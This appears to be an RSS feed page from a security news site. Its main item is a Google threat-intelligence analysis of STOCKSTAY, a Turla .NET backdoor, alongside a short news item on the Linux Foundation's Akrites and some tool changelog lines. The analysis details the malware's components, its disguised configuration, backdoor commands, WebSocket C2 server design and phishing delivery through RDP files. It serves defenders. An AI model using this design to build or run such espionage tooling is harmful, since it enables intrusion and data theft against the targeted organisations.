<li>Added automatic memory-pressure reaping for idle background shell commands (disable with <code>CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1</code>)</li>
<li>Fixed <code>/model</code> and other client-data-gated UI showing stale/empty state immediately after <code>/login</code></li>
<li>Fixed backgrounding (←←) spuriously cancelling with "N background tasks would be abandoned" when all running tasks carry over to the new session</li>
<li>Fixed pinned background agents being re-prompted to "Continue from where you left off" after every auto-update</li>
<li>Fixed backgrounding the main turn spawning a phantom "general-purpose (resumed)" subagent that re-ran the main conversation</li>
<li>Fixed agent panel hiding sibling agents when viewing a subagent</li>
<li>Improved background agents: the launch result no longer instructs Claude to "end your response" — it keeps working on other tasks while the agent runs</li>
<li>Improved MCP <code>headersHelper</code> auth: the helper now re-runs and reconnects automatically when a tool call returns 401/403</li>
<li>Improved plugin auto-rename: marketplace <code>renames</code> maps are now followed automatically, updating your settings to the new name</li>
<li>Improved <code>/add-dir</code> message when the directory is already a working directory</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux Foundation Launches Akrites To Coordinate AI-Driven Open Source Security]]></title>
<description><![CDATA[BrianFagioli writes: The Linux Foundation has announced Akrites, a new initiative to coordinate vulnerability disclosure and remediation for critical open source software as AI dramatically speeds up vulnerability discovery. Founding members include AWS, Google, Microsoft, OpenAI, Red Hat, NVIDIA...]]></description>
<link>https://tsecurity.de/de/3625881/it-security-nachrichten/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3625881/it-security-nachrichten/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security/</guid>
<pubDate>Thu, 25 Jun 2026 23:23:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[BrianFagioli writes: The Linux Foundation has announced Akrites, a new initiative to coordinate vulnerability disclosure and remediation for critical open source software as AI dramatically speeds up vulnerability discovery. Founding members include AWS, Google, Microsoft, OpenAI, Red Hat, NVIDIA, IBM, Cisco, JPMorganChase, and others. Akrites will provide a shared Security Incident Response Team (SIRT), a standardized coordinated vulnerability disclosure process, and act as a "maintainer of last resort" for abandoned but widely used packages.
 
The goal is to reduce duplicate reports, avoid conflicting patches, and help upstream maintainers address vulnerabilities before they can be exploited. As AI makes it easier to find security flaws, can a coordinated industry effort help protect open source, or does it risk giving large corporations too much influence over the ecosystem? "Akrites is the largest coordinated effort in history to create systems and deploy tooling that leverages the collective power of the community to make everyone safer," the Linux Foundation said in an open letter. "Akrites participants will contribute engineering resources; work to build and ship fixes; or fund the engineers who do. Some companies have contributed mightily already. The reality is, collectively, we need to contribute more."<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Linux+Foundation+Launches+Akrites+To+Coordinate+AI-Driven+Open+Source+Security%3A+https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F06%2F25%2F2031228%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Flinux.slashdot.org%2Fstory%2F26%2F06%2F25%2F2031228%2Flinux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://linux.slashdot.org/story/26/06/25/2031228/linux-foundation-launches-akrites-to-coordinate-ai-driven-open-source-security?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[STOCKSTAY Another Day: The Latest Addition to Turla’s Intelligence Gathering Apparatus]]></title>
<description><![CDATA[Written by: Jordan Jones

Introduction 
Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-01...]]></description>
<link>https://tsecurity.de/de/3624817/it-security-nachrichten/stockstay-another-day-the-latest-addition-to-turlas-intelligence-gathering-apparatus/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3624817/it-security-nachrichten/stockstay-another-day-the-latest-addition-to-turlas-intelligence-gathering-apparatus/</guid>
<pubDate>Thu, 25 Jun 2026 16:09:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: Jordan Jones</p>
<hr></div>
<div class="block-paragraph_advanced"><h3><span>Introduction</span><strong> </strong></h3>
<p><span>Google Threat Intelligence Group (GTIG) has conducted an in-depth analysis of a .NET backdoor, tracked as STOCKSTAY, that has been continually developed and deployed by the Russia-linked threat actor Turla (aka SUMMIT, Secret Blizzard, VENOMOUS BEAR, UAC-0194) since at least December 2022. Turla has deployed STOCKSTAY against government and military organizations in Ukraine, as well as entities with an interest in Italian foreign policy. Used for ongoing cyber espionage, this backdoor shares significant code and functional overlaps with KAZUAR, a successful toolkit previously attributed to Turla. The group has a long history of targeting a wide range of industries, with a particular focus on western Ministries of Foreign Affairs, and defense organizations within the context of heightened political tensions. </span></p>
<p><span>Turla, and specifically their longstanding Snake implant, has been publicly </span><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a" rel="noopener" target="_blank"><span>attributed</span></a><span> by the United States Cybersecurity and Infrastructure Security Agency (CISA) to Center 16 of Russia’s Federal Security Service (FSB). Turla is one of the oldest known cyber espionage groups with suspected activity dating back to </span><a href="https://unit42.paloaltonetworks.com/turla-pensive-ursa-threat-assessment/" rel="noopener" target="_blank"><span>at least 2004</span></a><span>. The actor remains active and continues to evolve its delivery methods, as demonstrated by its </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/russia-targeting-signal-messenger/"><span>deployment of specialized scripts</span></a><span> to intercept secure communications from Signal Messenger users, its </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/turla-galaxy-opportunity/"><span>hijacking of legacy criminal botnets</span></a><span> to target Ukrainian organizations, and its </span><a href="https://www.microsoft.com/en-us/security/blog/2026/05/14/kazuar-anatomy-of-a-nation-state-botnet/" rel="noopener" target="_blank"><span>recent campaigns</span></a><span> targeting military defense sectors using the highly sophisticated KAZUAR toolkit. As part of our continued tracking of this group, this blog post provides an overview of our STOCKSTAY analysis, includes a timeline of key developmental and operational observations, and examines its similarities to KAZUAR to contextualize this new capability within Turla’s ever-growing arsenal.</span></p>
<h3><span>STOCKSTAY Overview</span></h3>
<p><span>STOCKSTAY is a multi-component backdoor written in .NET, using the Windows Forms framework, which communicates with its command and control (C2) via a secure WebSocket connection, utilizing the open-source </span><a href="https://github.com/sta/websocket-sharp" rel="noopener" target="_blank"><span>websocket-sharp</span></a><span> library. STOCKSTAY consists of several distinct components that communicate with one another via an inter-process communication (IPC) channel, based on the exchange of </span><a href="https://learn.microsoft.com/en-us/windows/win32/dataxchg/wm-copydata" rel="noopener" target="_blank"><span>WM_COPYDATA</span></a><span> messages. </span></p>
<p><span>STOCKSTAY was originally designed to masquerade as a stock market data viewing tool, incorporating this disguise in both its file naming scheme and its storage of implant configuration, control messages, and response data. While initial versions of the malware observed by GTIG retained the internal aspects of this disguise, in 2025 we identified variants of STOCKSTAY masquerading as other benign applications, such as PDF viewers and calculator utilities.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig1.max-1000x1000.png" alt="Overview of STOCKSTAY malware architecture">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="nw27v">Figure 1: Overview of STOCKSTAY malware architecture</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h4><span>STOCKSTAY.STOCKBROKER</span></h4>
<p><span>STOCKSTAY.STOCKBROKER is a proxy-aware tunneler which provides network communication capabilities to the wider STOCKSTAY ecosystem. STOCKSTAY.STOCKBROKER, internally referred to as "</span><code>net</code><span>", can be instructed to establish a secure WebSocket connection to a specified remote server, after which it acts as a relay between the server and the STOCKSTAY.STOCKMARKET orchestrator. As a result, all C2 communication between STOCKSTAY and the configured C2 server are handled by STOCKSTAY.STOCKBROKER, isolating the malware’s network communications from other malicious host-based activity on the infected machine. </span></p>
<h4><span>STOCKSTAY.STOCKMARKET</span></h4>
<p><span>STOCKSTAY.STOCKMARKET, internally referred to as “</span><code>cor</code><span>”, is the orchestrator of the STOCKSTAY ecosystem, and enables the implant’s configurability. The malware’s configuration is loaded from an encrypted on-disk configuration file which specifies several options regarding the malware’s execution, including the details of the remote WebSocket server required by STOCKSTAY.STOCKBROKER. The configuration file attempts to disguise itself as a legitimate file by including various legitimate URLs associated with cryptocurrency markets, as well as falsified descriptions of each configuration field (Figure 2). Encrypted configuration data is embedded within the decoy fields, which is decrypted by STOCKSTAY.STOCKMARKET.</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
  "Name": "StockMarket",
  "Description": "An application for getting information about current events on trading platforms. To set the time for updating information, enter a value in minutes in the `Interval` field. In the future, support for themes will be added. The `SystemConfiguration` field stores the system settings of the application. In the `services` field, fill in the list of addresses of services that provide the `WebSocket protocol`.",
  "Theme": "Dark",
  "SystemConfiguration": [
    "1D.AA.79.9F.45.AA.04.B3.&lt;snipped&gt;.68.0A.5D.A3.E6.A3.82.FA",
    "6F.41.4D.6D.C3.20.E5.32.&lt;snipped&gt;.00.B8.26.DF.E1.13.0A.21",
    "4.4.3.12"
  ],
  "Interval": 10,
  "Services": [
    "wss://ws-api.binance.com:443/ws-api/v3",
    "wss://ws-feed.exchange.coinbase.com",
    "wss://ws-feed-public.sandbox.exchange.coinbase.com",
    "wss://stream.bybit.com/v5/public/spot",
    "wss://stream.bybit.com/v5/public/linear"
  ],
  "Version": "2022-12-21"
}</code></pre>
<p><span><span>Figure 2: Encrypted STOCKSTAY configuration file format, falsely describing itself as an application for trading information</span></span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>{
  "internal_id": "&lt;server_identifier&gt;",
  "internal_key": "&lt;server_public_key&gt;",
  "interval_engine": "600000",
  "level_info": "0",
  "time_scale": "1",
  "span_min": "9",
  "span_max": "18",
  "rate": "2700",
  "rate_control": "false",
  "service": "&lt;websocket_c2_url&gt;",
  "days_not_work": "Saturday;Sunday;",
  "system_properties": "eyJzeXN0ZW1fZGF0YV9zaXplIjoiNDAwMDAwIn0="
}</code></pre>
<p><span><span>Figure 3: Decrypted STOCKSTAY configuration file format (extracted from </span><code>SystemConfiguration</code><span> field)</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>STOCKSTAY.STOCKMARKET communicates with STOCKSTAY.STOCKBROKER in order to provide details of the WebSocket server, and to subsequently send and receive messages via the established WebSocket connection, usually containing the results of executed commands. STOCKSTAY.STOCKMARKET also communicates with the STOCKSTAY.STOCKTRADER component in order to issue commands to be executed on the infected host.</span></p>
<p><span>On first execution, STOCKSTAY.STOCKMARKET generates a unique 4096-bit RSA key pair, to be used throughout the implant’s lifecycle to encrypt outbound data prior to being sent via WebSocket. The implant’s public key is sent to the server in the malware’s first request, to enable the server to decrypt task responses. STOCKSTAY.STOCKMARKET also generates a unique infection identifier to be used by the C2 server to determine the intended receiver of tasking. STOCKSTAY’s configuration file specifies an </span><span>“</span><code>internal_id</code><span>” field, which GTIG assesses represents an identifier for the server-side component of the malware ecosystem. We assess that this identifier is used by the malware’s operators to retrieve responses from interim C2 servers which may be used by multiple operators. To date, GTIG has observed only a single unique value for this identifier and is unable to determine whether multiple operators are leveraging STOCKSTAY at this time due to insufficient telemetry.</span></p>
<h4><span>STOCKSTAY.STOCKTRADER</span></h4>
<p><span>STOCKSTAY.STOCKTRADER, internally referred to as “</span><code>sys</code><span>”, is the backdoor component of the STOCKSTAY ecosystem, and supports a range of registry, file, and command execution operations on the infected host, as detailed in Table 1.</span></p></div>
<div class="block-paragraph_advanced"><div align="center">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><span>Task Command Name</span></p>
</th>
<th scope="col">
<p><span>Description</span></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>Del</code></p>
</td>
<td>
<p><span>Delete the specified files.</span></p>
<p><span>Requires a semi-colon-separated list of file paths, each of which will be deleted. Confirmation of each deleted file, or deletion failure, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Dir</code></p>
</td>
<td>
<p><span>Generate a listing of the specified directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be enumerated with the paths of all contained files and subdirectories being returned to the C2.</span></p>
<p><span>Optionally performs recursive directory listing.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Get</code></p>
</td>
<td>
<p><span>Retrieve one or more specified files. Allows for collection of files with specific extensions.</span></p>
<p><span>Requires a semi-colon-separated list of file or directory paths, and a list of target file extensions. If a file path is included in the list, this file will be returned. If instead a directory path is included in the list, the malware will perform an optionally recursive search of the directory to identify any files matching the target file extensions. </span></p>
<p><span>All files matching either the specified file paths, or the target file extensions, will be added to an in-memory ZIP archive and subsequently base64-encoded for transmission to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Image</code></p>
</td>
<td>
<p><span>Perform a screen-capture of the victim’s screen.</span></p>
<p><span>The resultant image is base64-encoded for transmission to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>MkDir</code></p>
</td>
<td>
<p><span>Create one or more directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be created. Confirmation of each created directory, or any resultant error, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>MultyTask</code></p>
</td>
<td>
<p><span>Process multiple tasks at once.</span></p>
<p><span>Requires a semi-colon-separated list of tasks, each of which must be a serialized JSON object containing an individual task.</span></p>
<p><span>Each task is submitted to the malware’s command-manager in-turn, with all command output being discarded; no data is returned to the C2 when processing multiple tasks at once.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Put</code></p>
</td>
<td>
<p><span>Upload a file to the device.</span></p>
<p><span>Requires a base64-encoded string representation of the file content to be written to the specified filepath. The required file write operation is performed in “Append” mode.</span></p>
<p><span>Confirmation of file upload, or details of any relevant error, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegDelete</code></p>
</td>
<td>
<p><span>Delete a registry value.</span></p>
<p><span>Requires a registry key and corresponding value name to delete.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegRead</code></p>
</td>
<td>
<p><span>Read a registry value.</span></p>
<p><span>Requires a registry key and corresponding value name to read.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>RegWrite</code></p>
</td>
<td>
<p><span>Set a registry value. </span></p>
<p><span>Requires a registry key and corresponding value name, as well as the value and data type used to populate the registry value. </span></p>
</td>
</tr>
<tr>
<td>
<p><code>RmDir</code></p>
</td>
<td>
<p><span>Delete the specified directories.</span></p>
<p><span>Requires a semi-colon-separated list of directory paths, each of which will be deleted. Confirmation of each deleted directory, or deletion failure, is returned to the C2.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Run</code></p>
</td>
<td>
<p><span>Execute a new process.</span></p>
<p><span>Requires a path to the file to execute and its corresponding arguments. A default timeout of 60 seconds is hard-coded into the malware, however this can be overridden by the task configuration.</span></p>
<p><span>All subprocesses are created windowless with redirected stdout.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>Sysinfo</code></p>
</td>
<td>
<p><span>Conduct a system survey to gather key information about the infected host.</span></p>
<p><span>Operating system information is collected via the Windows Management Instrumentation (WMI) ManagementObjectSearcher, specifically the following fields:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>OSVersion</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Architecture</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>SerialNumber</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>CodeSet</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>CountryCode</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>Locale</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>InstallDate</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>BootupTime</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MachineName</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>SystemDirectory</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>LocalTime</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>AnsiCodePage</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>UserName</span></p>
</li>
</ul>
<p><span>With respect to hardware, WMI is queried for the following:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>ProcessorName</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>NumberCores</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>ClockSpeed</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MemoryCapacity</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>MemoryType</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>DiskModel </span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>DiskSize</span></p>
</li>
</ul>
<p><span>The malware also captures a list of the names of running processes.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>UnpackArchive</code></p>
</td>
<td>
<p><span>Extract the specified ZIP file to its current directory.</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 1: Backdoor commands supported by STOCKSTAY.STOCKTRADER</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Related Downloaders and Installers</span></h4>
<h5><span>STOCKSTAY.MARKETMAKER</span></h5>
<p><span>STOCKSTAY.MARKETMAKER is a proxy-aware downloader written in .NET using the Windows Forms framework that downloads and extracts additional payloads from a remote server, establishes persistence through Windows registry modifications, and runs silently in the background with no user interface. This downloader has been observed masquerading as "MicrosoftUpdateOneDrive" to appear legitimate while setting up multiple autorun entries to execute the core components of STOCKSTAY.</span></p>
<h5><span>.NET AppDomainManager</span></h5>
<p><span>During our analysis, GTIG identified what we believe to be an early development sample of STOCKSTAY.MARKETMAKER which, instead of downloading the required components, was dependent on external mechanisms (such as </span><a href="https://attack.mitre.org/techniques/T1574/014/" rel="noopener" target="_blank"><span>.NET AppDomainManager injection</span></a><span>) for the initial deployment of samples to the target host.</span></p>
<h4><span>STOCKSTAY Server-Side Controller</span></h4>
<p><span>GTIG identified a publicly accessible GitHub repository containing a Python implementation of the victim-facing STOCKSTAY WebSocket server controller. The lightweight design of the server component appears to supplement the threat actor’s usage of third-party hosting platforms such as </span><a href="https://render.com/" rel="noopener" target="_blank"><span>Render</span></a><span> platform which provides a platform for hosting web services, including </span><a href="https://render.com/docs/websocket" rel="noopener" target="_blank"><span>WebSockets</span></a><span>. The inability for the server to decrypt inbound messages prevents introspection by platform operators, and further obfuscates the location of the threat actor’s dedicated infrastructure. This architecture somewhat resembles Turla’s multi-hop KAZUAR C2 infrastructure.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/stockstay-fig4.max-1000x1000.png" alt="Overview of STOCKSTAY C2 Infrastructure">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="s9mt0">Figure 4: Overview of STOCKSTAY C2 Infrastructure</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The server extends </span><code>tornado.websocket.WebSocketHandler</code><span> to provide the interface described in Table 2, under the path </span><code>/ws</code><span>; aligning with all observed STOCKSTAY WebSocket C2 URLs.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong><span>Event</span></strong></p>
</td>
<td>
<p><strong><span>Description</span></strong></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.check_origin" rel="noopener" target="_blank"><span>WebSocketHandler.check_origin</span></a></p>
</td>
<td>
<p><span>Hard-coded to return True to </span><span>accept all cross-origin traffic.</span></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.open" rel="noopener" target="_blank"><span>WebSocketHandler.open</span></a></p>
</td>
<td>
<p><span>Logs the client’s IP address using the following string format:</span></p>
<p><code>WebSocket open. IP: {client_ip}</code></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.on_message" rel="noopener" target="_blank"><span>WebSocketHandler.on_message</span></a></p>
</td>
<td>
<p><span>Handles inbound messages from the connected client.</span></p>
<p><span>Inbound messages are base64-decoded before being parsed as JSON into an object internally known as a “package”.</span></p>
<p><span>Each “package” contains an “action” and a “container”, which provide the request’s type and associated data, respectively. The following describes the handling logic of each action type.</span></p>
<p><strong>Action: </strong><strong>send</strong></p>
<p><span>The server extracts the following attributes from the inbound message’s “container” and inserts them into a new row within the local </span><code>weather_data</code><span> database table.</span></p>
<p><code>container.target</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The STOCKSTAY client populates this field with the </span><code>internal_id</code><span> or </span><code>i_id</code><span> field from the config file.</span></p>
</li>
</ul>
<p><code>container.sender</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>The STOCKSTAY client populates this field with the unique client uuid generated on first execution.</span></p>
</li>
</ul>
<p><code>container.message</code></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>This field contains the encrypted message body in a format referred to within the STOCKSTAY client as “CryptoContainer”. </span></p>
</li>
</ul>
<p><span>On completion, the server logs the following message:</span></p>
<p><code>Action: send; trgt={target_id}; sndr={sender_id}</code></p>
<p><strong>Action: </strong><strong>recv</strong></p>
<p><span>Inbound </span><code>recv</code><span> requests simply specify the </span><code>container.sender</code><span> attribute, which corresponds with the client’s unique identifier.</span></p>
<p><span>The server then retrieves all messages from the </span><code>weather_data</code><span> database table where the target identifier (“degrees” column) matches the specified </span><code>container.sender</code><span>. This has the effect of allowing the client to retrieve all messages intended for it, such as those sent to the server by an upstream C2 controller.</span></p>
<p><span>Each matching row is returned to the client in the following format, before being deleted from the database.<br><br></span></p>
<pre class="language-plain"><code>{
	"target": degrees,
	"sender": pressure,
	"message": wdata,
	"ip": coords,
	"time": datetime
}</code></pre>
<p><span>On completion, the server logs the following message:</span></p>
<p><code>Action: recv; sndr={sender}</code></p>
</td>
</tr>
<tr>
<td>
<p><a href="https://www.tornadoweb.org/en/stable/websocket.html#tornado.websocket.WebSocketHandler.on_close" rel="noopener" target="_blank"><span>WebSocketHandler.on_close</span></a></p>
</td>
<td>
<p><span>Logs the client’s IP address using the following string format:</span></p>
<p><code>WebSocket close. IP: {client_ip}</code></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 2: Overview of STOCKSTAY WebSocket Server Interface</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h4><span>Database Structure</span></h4>
<p><span>The server maintains a local SQLite3 database under the filename </span><code>weather_data1.db</code><span>, structured as shown in Tables 3 and 4.</span></p></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Column</strong></p>
</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>id</code></p>
</td>
<td>
<p><span>Primary key</span></p>
</td>
</tr>
<tr>
<td>
<p><code>degrees</code></p>
</td>
<td>
<p><span>Recipient's UUID from </span><code>container.target</code></p>
</td>
</tr>
<tr>
<td>
<p><code>pressure</code></p>
</td>
<td>
<p><span>Sender's UUID from </span><code>container.sender</code></p>
</td>
</tr>
<tr>
<td>
<p><code>wdata</code></p>
</td>
<td>
<p><span>Message data from </span><code>container.message</code></p>
</td>
</tr>
<tr>
<td>
<p><code>coords</code></p>
</td>
<td>
<p><span>Sender's IP address, extracted from </span><code>X-Forwarded-For</code><span> header, or </span><code>none_ip</code><span> if no sender specified.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>status</code></p>
</td>
<td>
<p><span>Defaults to 0 - doesn't appear to be used or returned to the client.</span></p>
</td>
</tr>
<tr>
<td>
<p><code>datetime</code></p>
</td>
<td>
<p><span>Time of row creation</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 3: </span><code>weather_data</code><span> database table structure</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table border="1px" cellpadding="16px"><colgroup><col><col></colgroup>
<thead>
<tr>
<th scope="col">
<p><strong>Column</strong></p>
</th>
<th scope="col">
<p><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<p><code>id</code></p>
</td>
<td>
<p><span>Primary key</span></p>
</td>
</tr>
<tr>
<td>
<p><code>data</code></p>
</td>
<td>
<p><span>Log message</span></p>
</td>
</tr>
<tr>
<td>
<p><code>datetime</code></p>
</td>
<td>
<p><span>Time of creation</span></p>
</td>
</tr>
</tbody>
</table></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<p><span><span>Table 4: </span><code>log</code><span> database table structure</span></span></p>
</div></div>
<div class="block-paragraph_advanced"><h3><span>Key Operational Characteristics</span></h3>
<h4><span>Consistent Use of Academic or Diplomatic Lure Content</span></h4>
<p><span>The threat actor(s) involved in STOCKSTAY operations appear to have an affinity for integrating academia and diplomacy into their infrastructure and lure/decoy content, including:</span></p>
<ul>
<li aria-level="1">
<p role="presentation"><span>compromising an email account belonging to a Ukrainian university to disseminate phishing emails;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using the names of an academic institution within the file name of a malicious RDP file;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>compromising a diplomatic education platform for phishing and distribution of malicious RDP files;</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using “education” and “diplo” within registered phishing domains; and</span></p>
</li>
<li aria-level="1">
<p role="presentation"><span>using “DiplomacyEduAI” as the product name within STOCKSTAY MSI files.</span></p>
</li>
</ul>
<h4><span>Persistent Ukrainian Targeting</span></h4>
<p><span>A significant proportion of STOCKSTAY operations observed by GTIG have been targeted at Government or Military organizations within Ukraine, consistent with Russian interests in relation to the ongoing conflict between the two countries. The threat actor has been observed utilizing in-country compromised infrastructure, including compromised government services, to deploy both STOCKSTAY and a range of supplementary payloads, in support of these operations. </span></p>
<h4><span>Suspected European Targeting</span></h4>
<p><span>A smaller number of STOCKSTAY operations observed by GTIG appear to have been targeted at European entities. Early development samples of STOCKSTAY were identified in various European nations, including Italy, the Netherlands, Poland, and Germany; however, we have been largely unable to confirm the intended victims for the majority of these early infections, nor whether these samples were identified as a result of the threat actor testing their capabilities against publicly available virus scanning services such as VirusTotal. GTIG was able to identify, in at least one case, the targeting of entities associated with, or interested in, a foreign affairs ministry in Europe in relation to phishing and suspected STOCKSTAY activity. </span></p>
<h4><span>Deployment via Malicious RDP Files</span></h4>
<p><span>GTIG observed STOCKSTAY being deployed following successful phishing attempts using malicious RDP configuration files. The RDP files were designed to create a connection from the victim’s device to actor-controlled infrastructure, through which the actor could then deploy subsequent payloads.</span></p>
<p><span>In one operation in early 2025, GTIG identified a phishing email, claiming to be sent by a defense-related training academy, containing a malicious RDP file attachment. A short time following the victim’s connection to the actor’s infrastructure, the actor deployed STOCKSTAY.MARKETMAKER, a .NET downloader designed to retrieve and install the full STOCKSTAY suite on the victim’s device. </span></p>
